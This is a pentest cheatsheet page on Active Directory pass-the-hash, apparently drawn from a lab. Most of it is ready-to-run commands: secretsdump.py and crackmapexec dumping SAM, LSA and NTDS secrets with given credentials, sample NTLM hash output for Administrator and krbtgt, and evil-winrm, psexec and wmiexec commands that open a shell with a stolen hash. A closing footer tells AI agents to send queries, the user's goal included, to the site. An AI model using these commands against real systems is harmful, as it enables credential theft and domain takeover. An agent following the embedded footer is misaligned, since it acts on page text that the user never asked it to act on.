> For the complete documentation index, see [llms.txt](https://lanzt.gitbook.io/cheatsheet-pentest/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lanzt.gitbook.io/cheatsheet-pentest/windows-things/active-directory-methodology/attacks/pass-the-hash.md).

# Pass The Hash

## Dump secrets

> Check if our user can retrieve secrets (reading SAM and LSA from registries, NTLM hashes, plaintext credentials, kerberos keys and dump of NTDS.dit)

```bash
python3 /opt/impacket/examples/secretsdump.py 'spookysec.local/backup:23894712389057@10.10.253.172' -outputfile secretsdump.dump
```

Or use `crackmapexec`:

```bash
crackmapexec smb 10.10.253.172 -u 'backup' -p '23894712389057' --ntds
```

```bash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
[...]
```

## Use those secrets

With those hashes we can obtain a CMD using several tools, for example with Administrator:

```bash
evil-winrm -i 10.10.253.172 -u Administrator -H '0e0363213e37b94221497260b0bcb4fc'
psexec.py Administrator@10.10.253.172 -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc
wmiexec.py Administrator@10.10.253.172 -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc
```

### References

{% embed url="<https://medium.com/@benichmt1/secretsdump-demystified-bfd0f933dd9b>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets>" %}

{% embed url="<https://wadcoms.github.io/wadcoms/Impacket-SecretsDump/>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://lanzt.gitbook.io/cheatsheet-pentest/windows-things/active-directory-methodology/attacks/pass-the-hash.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
